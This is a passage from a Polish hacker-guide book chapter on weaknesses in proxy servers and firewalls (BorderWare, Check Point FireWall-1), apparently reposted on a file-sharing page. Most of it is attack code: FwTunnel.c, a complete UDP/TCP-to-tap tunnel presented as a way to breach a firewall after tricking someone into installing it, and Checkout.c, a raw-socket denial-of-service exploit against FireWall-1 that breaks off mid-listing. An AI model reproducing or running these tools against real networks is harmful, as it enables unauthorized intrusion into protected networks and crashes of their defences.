10.doc

(474 KB) Pobierz
Rozdział X

 

Rozdział 10. ¨ Serwery proxy i zapory firewall              603



Rozdział 10.
Serwery proxy
i zapory firewall

W kolejnym podrozdziale zajmiemy się, badanymi przez grupę Underground, sekretnymi „furtkami” w mechanizmach ochrony granic sieci, określanych nazwami proxy i firewall. Dla przypomnienia serwer proxy to program funkcjonujący jako pośrednik między przeglądarką WWW a serwerem WWW w Internecie. Program serwera proxy jest więc rodzajem bramy, która oddziela sieć wewnętrzną użytkownika od jej otoczenia. Może też funkcjonować jako zapora firewall, pracująca w warstwie aplikacji i filtrująca pakiety przychodzące w celu ochrony sieci przed dostępem osób nieupoważnionych. Podobnie funkcjonuje każde oprogramowanie typu zapora firewall
kontroluje dostęp do sieci zgodnie z pewnymi założeniami, stosując filtry stanowe, które blokują lub też zezwalają na wymianę danych z siecią wewnętrzną.

Bramy międzysieciowe

Poniżej przedstawiamy przegląd luk w zabezpieczeniach oprogramowania bramek sieciowych: BorderWare, Firewall-1, Gauntlet, NetScreen, PIX, Raptor i WinGate.

BorderWare

Pracujące na platformie Intel oprogramowanie BorderWare (www.borderware.com) zapewnia całościową ochronę sieci, stosując trzy moduły umiejscowione na jej granicach. Realizują one filtrowanie pakietów oraz monitorowanie na poziomie aplikacji i obwodu. Uzupełnieniem są funkcje VPN serwer-serwer i klient-serwer, filtrowanie adresów URL i witryn oraz specjalne mechanizmy ochronne dla ekstranetów i aplikacji handlu elektronicznego. BorderWare Firewall Console, choć bywa nieco nużąca, zapewnia, oparty na systemie menu, wygodny dostęp do poszczególnych modułów. Konfiguracja domyślna wyklucza wszelkie bezpośrednie połączenia z siecią chronioną, inicjowane od strony interfejsu zewnętrznego. Administrator samodzielnie musi skonfigurować składnik obsługujący dostęp zdalny. Narzędzia nie są wyposażone w interfejs wiersza poleceń.

Słabe punkty

Tunelowanie

Streszczenie: Korzystają z technik cichego skanowania i (lub) zniekształconego uzgadniania TCP, osoba nieupoważniona może wykryć tunel ACK oprogramowania bramy.

Stan po ataku: Nieautoryzowane przejęcie kontroli nad systemami docelowymi.

Podatność: Wszystkie wersje w określonych konfiguracjach.

Luka: Jak opisywano to we wcześniejszych rozdziałach, funkcjonowanie protokołu TCP opiera się na połączeniu wirtualnym, realizowanym za pośrednictwem protokołu IP. Na procedurę ustanawiania sesji składa się pakiet SYN stacji inicjującej i odpowiedź, pakiet SYN/ACK, stacji wywoływanej. Typowe zapory firewall filtrujące pakiety za początek sesji uznają segment SYN. Do tych segmentów stosowane są więc odpowiednie filtry. Taki schemat działania, oparty na badaniu pakietu SYN, a nie ACK, wynika z prostego faktu, że w każdej sesji występuje jeden pakiet SYN i tysiące lub miliony pakietów ACK. Ma to istotne znaczenie dla obciążenia i wymagań sprzętowych wobec serwera. Rozwiązanie tańsze ma oczywiście zasadniczą wadę — umożliwia włamanie metodą tunelową. Drobna znajomość socjotechniki i spamu w poczcie elektronicznej pozwoli hakerowi zainstalować odpowiednio spreparowany tunel, dopasowany do konfiguracji zapory. Jako przykład przedstawiamy FwTunnel.c.

FwTunnel.c

#define UDP

#undef TCP

#define BUFSIZE 4096

void selectloop(int netfd, int tapfd);

void usage(void);

char buffer[BUFSIZE];

main(int ac, char *av[]) {

     int destport;

     struct sockaddr_in destaddr;

     struct hostent *ht;

     int sock;

     int daemon;

     int netfd;

     int tapfd;

 

     /* sprawdzenie liczby parametrów */

     if(ac != 3)

     usage();

    

     /* pobranie numeru portu, atoi != 0 */

     if((destport = atoi(av[2])) == 0)

     usage();

 

     /* jesteśmy demonem czy klientem? */

     if(av[1][0] == '-')

     daemon = 1;

   else

     daemon = 0;

     if(!daemon) {

     /* odwzorowanie DNS */

     if((ht = gethostbyname(av[1])) == NULL) {

          switch(h_errno) {

          case HOST_NOT_FOUND:

            printf("%s: Unknown host\n", av[2]);

            break;

          case NO_ADDRESS:

            printf("%s: No IP address for hostname\n", av[2]);

            break;

          case NO_RECOVERY:

            printf("%s: DNS Error\n", av[2]);

            break;

          case TRY_AGAIN:

            printf("%s: Try again (DNS Fuckup)\n", av[2]);

            break;

          default:

            printf("%s: Unknown DNS error\n", av[2]);

          }

          exit(0);

     }

 

     /* struktura destaddr */

     destaddr.sin_port = htons(destport);

     destaddr.sin_family = AF_INET;

     memcpy(&destaddr.sin_addr, ht->h_addr, ht->h_length);

     }

#ifdef TCP

     sock = socket(AF_INET, SOCK_STREAM, 0);

#endif

#ifdef UDP

     sock = socket(AF_INET, SOCK_DGRAM, 0);

#endif

     if(sock == -1) {

       perror("socket");

       exit(0);

     }

     printf("Opening network socket.\n");

     if(!daemon) {

     if(connect(sock, &destaddr, sizeof(struct sockaddr_in)) ==

        -1) {

          perror("connect");

          exit(0);

     }

     netfd = sock;

   }

   else {

     struct sockaddr_in listenaddr;

#ifdef UDP

       struct sockaddr_in remote;

#endif

       int socklen;

       listenaddr.sin_port = htons(destport);

       listenaddr.sin_family = AF_INET;

       listenaddr.sin_addr.s_addr = inet_addr("0.0.0.0");

       if(bind(sock, &listenaddr, sizeof(struct sockaddr_in)) ==

          -1) {

            perror("bind");

            exit(0);

       }

       socklen = sizeof(struct sockaddr_in);

#ifdef TCP

       if(listen(sock, 1) == -1) {

            perror("listen");

            exit(0);

       }

       printf("Waiting for TCP connection...\n");

       if((netfd = accept(sock, &listenaddr, &socklen)) == -1) {

            perror("accept");

            exit(0);

       }

#else /* TCP */

       netfd = sock;

       recvfrom(netfd, buffer, BUFSIZE, MSG_PEEK, &remote,

             &socklen);

       connect(netfd, &remote, socklen);

#endif

     }    

     /* teraz przez netfd będzie można porozumieć się z siecią */

    

     printf("Opening /dev/tap0\n");

     tapfd = open("/dev/tap0", O_RDWR);

     if(tapfd == -1) {

       perror("tapfd");

       exit(0);

     }

     selectloop(netfd, tapfd);

     return 0;

}

 

void selectloop(int netfd, int tapfd) {

     fd_set rfds;

     int maxfd;

     int len;

     if(netfd > tapfd)

       maxfd = netfd;

     else

       maxfd = tapfd;

     while(1) {

       FD_ZERO(&rfds);

       FD_SET(netfd, &rfds);

       FD_SET(tapfd, &rfds);

       if(select(maxfd+1, &rfds, NULL, NULL, NULL) == -1) {

            perror("select");

            exit(0);

       }

       if(FD_ISSET(netfd, &rfds)) {

            FD_CLR(netfd, &rfds);

            if((len = read(netfd, buffer, BUFSIZE)) < 1) {

            if(len == -1)

               perror("read_netfd");

            printf("netfd died, quitting\n");

            close(tapfd);

            exit(0);

       }

       printf("%d bytes from network\n", len);

       write(tapfd, buffer, len);

       continue;

     }

     if(FD_ISSET(tapfd, &rfds)) {

          FD_CLR(tapfd, &rfds);

          if((len = read(tapfd, buffer, BUFSIZE)) < 1) {

            if(len == -1)

              perror("read_tapfd");

            printf("tapfd died, quitting\n");

            shutdown(netfd, 2);

            close(netfd);

            exit(0);

          }

          printf("%d bytes from interface\n", len);

          write(netfd, buffer, len);

          continue;

     }

   } /* koniec pętli */

}

Przedstawiane na kolejnych stronach programy znaleźć można na dołączonym do książki CD-ROM-ie.

FireWall-1

Check Point Software Technologies Ltd. (www.checkpoint.com), firma założona w 1993 roku, szybko stała się światowym liderem technologii zapór firewall. Przyczyniła się do tego OPSEC (Open Platform for Security) — struktura integracji i współpracy opracowana pod kątem wiodących rozwiązań 250 firm-partnerów. Główny element oprogramowania Network Security firmy Check Point, FireWall-1 to wyróżniający się pakiet zabezpieczeń dla przedsiębiorstw, integrujący kontrolę dostępu, uwierzytelnianie, szyfrowanie, translację adresów NAT, ochronę danych oraz mechanizmy inspekcji.

Słabe punkty

Atak typu Denial-of-Service

Streszczenie: Zapora ulega awarii, gdy odbierze pakiety ze swoim własnym IP, ale wysłane spod innego adresu MAC.

Stan po ataku: Awaria systemu.

Podatność: 3x, 4x.

Luka: Program Checkout.c, napisany przez guru hakerów, lore, wysyła do przyłącza zapory kilka spreparowanych pakietów UDP.

Checkout.c

#define __BSD_SOURCE

#include <stdio.h>

#include <stdlib.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <arpa/inet.h>

#include <unistd.h>

#include <netinet/ip.h>

#include <netinet/ip_udp.h>

 

#define TRUE   1

#define FALSE  0

#define ERR   -1

 

typedef u_long         ip_t;

typedef long           sock_t;

typedef struct ip      iph_t;

typedef struct udphdr  udph_t;

typedef u_short        port_t;

 

#define IP_SIZE  (sizeof(iph_t))

#define UDP_SIZE (sizeof(udph_t))

#define PSIZE    (IP_SIZE + UDP_SIZE)

#define IP_OFF   (0)

#define UDP_OFF  (IP_OFF + IP_SIZE)

 

void     usage               __P ((u_char *));

u_short  checksum            __P ((u_short *, int));

 

int main (int argc, char * * argv)

{

  ip_t victim;

  sock_t fd;

  iph_t * ip_ptr;

  udph_t * udp_ptr;

  u_char packet[PSIZE];

  u_char * yes = "1";

  struct sockaddr_in sa;

  port_t aport; 

  u_long packets;

 

  if (argc < 3)

  {

    usage (argv[0]);

  }

 

  fprintf(stderr, "\n*** CheckPoint IP Firewall DoS\n");

  fprintf(stderr, "*** Bug discovered by: antipent <rtodd@antipentium.com>\n");

  fprintf(stderr, "*** Code by: lore <fiddler@antisocial.com>\n\n");

 

  if ((victim = inet_addr(argv[1])) == ERR)

  {

    fprintf(stderr, "Bad IP address '%s'\n", argv[1]);

    exit(EXIT_FAILURE);

  }

  else if (!(packets = atoi(argv[2])))

  {

    fprintf(stderr, "You should send at least 1 packet\n");

    exit(EXIT_FAILURE);

  }

 

  else if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == ERR)

  {

    fprintf(stderr, "Couldn't create raw socket: %s\n", strerror(errno));

    exit(EXIT_FAILURE);

  }

 

  else if ((setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &yes, 1)) == ERR)

  {

    fprintf(stderr, "Couldn't set socket options: %s\n", strerror(errno));

    exit(EXIT_FAILURE);

  }

 

  srand((unsigned)time(N...

Zgłoś jeśli naruszono regulamin